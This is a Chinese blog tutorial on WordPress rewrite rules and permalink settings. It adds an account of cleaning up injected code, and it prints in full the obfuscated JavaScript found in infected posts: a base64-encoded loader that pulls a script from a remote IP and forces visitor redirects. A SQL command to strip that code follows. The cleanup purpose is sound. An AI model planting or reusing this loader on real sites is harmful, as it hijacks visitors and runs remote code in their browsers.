WordPress网站伪静态及固定链接设置教程-解决404错误问题马种2022-06-07 16:5410521搭建好WordPress网站之后我个人建议首先要做的就是设置好固定链接,WordPress的固定链接也就是网站各个页面的链接格式,默认的方式不太符合现代化网站,推荐使用自定义的方案。 既然涉及到网站链接,为了今后的方便以及SEO优化,所以这一步一定要在建站的已开始就做好。同时子比主题部分功能也依赖于固定链接,例如第三方登录。简约的链接格式也更加有利于SEO! 设置固定链接之前,一定要先配置好网站的伪静态,如果伪静态为设置好,就设置了固定链接,那么就会出现404错误! 接下来我们就按照先设置伪静态再设置固定链接的流程,手把手的图文教程带给大家! Apache设置伪静态: 修改网站根目录的.htaccess文件,将以下代码复制进去,保存后重启一下Apache RewriteEngine On RewriteBase / RewriteRule ^index.php$ – [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Nginx设置伪静态: 找到server/nginx/conf/nginx.conf (路径不一定都一样)文件,将一下代码复制到nginx.conf文件中,保存后重启一下Nginx location / { try_files $uri $uri/ /index.php?$args; } rewrite /wp-admin$ $scheme://$host$uri/ permanent; 固定链接设置 当我们设置好了伪静态之后,我们再次设置固定链接就不会有404的错误了 进入WordPress后台->设置->固定链接,根据您的需要设置为非朴素即可 这里根据SEO和大家的经验,我们推荐将固定链接设置为自定义,内容为:/%post_id%.html 这样的格式可以使链接更加简介,并且有益于SEO 最会需要注意一下的是,如果您先设置好了固定链接,然后再设置的伪静态,那么伪静态设置好了之后一定要再次进入固定链接设置页面,点一下保存设置! 修改主题的部分功能(和链接有关的),也需要重新保存固定链接,也就是进入固定链接设置页面,点一下保存设置,具体哪些设置需要此操作,主题设置中都有详细说明,稍微留意一下即可! WordPress被SQL注入攻击了怎么办? 前几天一位老哥的网站上的文章末尾,全部被注入了一个JS代码,进入文章页时会强制跳转,代码如下 <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--> 我去数据库中查看,在wp_post表的wp_content字段中,也确实发现了这个代码,但是,在数据库搜索这个脚本时,base64后面的字符串每个文章都是不一样的,那就无法使用替代/删除的办法了。要是手动删除2000多个帖子,要删到猴年马月去。最终查询了N多资料后,再国外的一个论坛上找到了解决办法。 UPDATE wp_posts SET post_content = SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1) WHERE LOCATE('<!--codes_iframe-->', post_content) >0; 最终使用这行命令清除了2000+文章的恶意脚本